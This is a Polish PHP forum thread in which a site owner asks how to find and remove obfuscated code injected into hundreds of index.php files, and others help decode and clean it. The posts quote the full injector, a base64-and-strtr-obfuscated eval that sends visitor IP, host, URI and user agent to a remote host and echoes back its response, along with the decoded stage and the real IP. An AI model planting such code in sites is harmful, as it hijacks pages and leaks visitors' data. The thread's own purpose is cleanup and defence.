Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]wyszukiwanie określonego kodu w wielu plikach php, jak i czym?
Forum PHP.pl > Forum > Przedszkole
kamil9012
Witam.
Dzisiaj moje strony chyba zaatakował wirus. Dodawał tylko do plików index.php taki kod PHP:
  1. <?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIz
    NDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpO
    yRfUj0wOyRfWD0wOw=='
    ));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>


Niestety na moim serwerze jest kilkaset plików o nazwie index.php żebym mógł ręcznie w nich szukać powyższego kodu i go usuwać.

Czy macie może pomysł w jaki sposób lub jakim programem mógłbym przeszukać pliki php w poszukiwaniu powyżeszgo kodu lub jego usunięcie?

Jeżeli ktoś z Was spotkał się z podobnym problemem to proszę o info jak temu zapobiegać.

Z góry dzięki i oczywiście plusik dla pomagających.
Piogola
Cytat(kamil9012 @ 13.10.2011, 21:40:06 ) *
Jeżeli ktoś z Was spotkał się z podobnym problemem to proszę o info jak temu zapobiegać.

Zacznij tworzyć kopie zapasowe.
pifarek
Notepad++ może chyba szukać w plikach w podanym folderze i zamieniać (w tym przypadku na nic).
Mackos
Dlaczego na nic? Jeśli ustawi żeby zamieniał tekst w plikach na spacje to powinno działać.
Ja bym się tutaj skupił jednak na problemie JAK gościowi się to udało wink.gif chyba że już rozwiązany.
kamil9012
Jeszcze mi się nie udało. Pobieram właśnie pliki z serwera(ok. 7gb) i spróbuję Notepad++.

Jeżeli ma ktoś jeszcze jakiś pomysł to proszę o info.


Pytanie: jak się stało, co spowodowało, że taki kod zaczął się pojawiać w tych plikach index.php? wirus?questionmark.gif
Mackos
Wirus raczej nie jest satysfakcjonującą odpowiedzią. Ponieważ jakoś się tam musiał dostać, jeśli wirus - to nie wierzę że po zainfekowaniu na Twoim komputerze, wgrywałeś te wszystkie pliki na swój serwer.
Serwery w większości są na linuksach co raczej dowodzi że ktoś kto to pisał/wdrożył, próbował dostać się do Twojego hostingu, co z resztą całkiem sprawnie mu się udało.
Pytanie - co jeszcze udało mu się zdobyć? Zrzuty baz danych ?

Edit: Fragment kodu który dostałeś `w prezencie` pod base64:
  1. ?><?php $3rl = 'http://96.69e.a6e.o0/bt.php'; ?> $_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;
by_ikar
A po co komu dodatkowe programy, skoro win7 również przeszukuje zawartość plików wink.gif wchodzisz w dany folder z plikami, dajesz szukaj, wpisujesz frazę, następnie przechodzisz na sam dół i tam będziesz miał coś takiego jak "wyszukaj ponownie", i kliknij "zawartość plików". Wtedy przeszuka ci wszystkie pliki pod kontem zawartości.
kamil9012
Cytat(Mackos @ 14.10.2011, 10:18:57 ) *
Wirus raczej nie jest satysfakcjonującą odpowiedzią. Ponieważ jakoś się tam musiał dostać, jeśli wirus - to nie wierzę że po zainfekowaniu na Twoim komputerze, wgrywałeś te wszystkie pliki na swój serwer.
Serwery w większości są na linuksach co raczej dowodzi że ktoś kto to pisał/wdrożył, próbował dostać się do Twojego hostingu, co z resztą całkiem sprawnie mu się udało.
Pytanie - co jeszcze udało mu się zdobyć? Zrzuty baz danych ?

Edit: Fragment kodu który dostałeś `w prezencie` pod base64:
  1. ?><?php $3rl = 'http://96.69e.a6e.o0/bt.php'; ?> $_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;

Dzisiaj poproszę hostingodawcę o przeskanowanie serwera i zmienię hasła do ftp i mysql. Nie wiem na ile to pomoże, ale mam nadzieję, że będzie skuteczne.

Ten kod:
  1. ?><?php $3rl = 'http://96.69e.a6e.o0/bt.php'; ?> $_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;

wziąłeś sobie z tego kodu?
  1. <?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIz
  2. NDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1Ip
    O
  3. yRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>

Czy możę to kolejny fragment, który muszę szukać i usuwać?


ps. właśnie jeżeli ktoś się zna to mógłby napisać co hakerowi mogło się udać osiągnąć? Nie bardzo rozumiem żeby mógł on sobie wysyłać moje bazy do http://96.69e.a6e.o0/bt.php, czy w ogóle taki IP 96.69e.a6e.o0 może istnieć?
by_ikar
Taki IP nie, ale on jest później przerabiany na taki: http://91.196.216.30/bt.php, a wrzucając taki IP w google, widać bardzo dużo stron (50k wyników) które mają w swoim źródle dodane fragmenty wink.gif to raczej nie jest wina hasła ftp/mysql a formularzy, których pewnie gdzieś nie sprawdzasz, ktoś znalazł lukę i ci spreparował jeden lub więcej plików.
Mackos
Diagnoza: Masz dziurawy skrypt, i zaliczyłeś włam wink.gif
Postaraj się ustalić co gościu jeszcze narobił i co mógł zabrać (Jakieś serwisy z płatnościami paypal etc. ?)
kamil9012
Cytat(pifarek @ 13.10.2011, 22:22:47 ) *
Notepad++ może chyba szukać w plikach w podanym folderze i zamieniać (w tym przypadku na nic).


Poradziłem sobie Notepad++. W tej kwestii sprawdził się na złoty medal.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.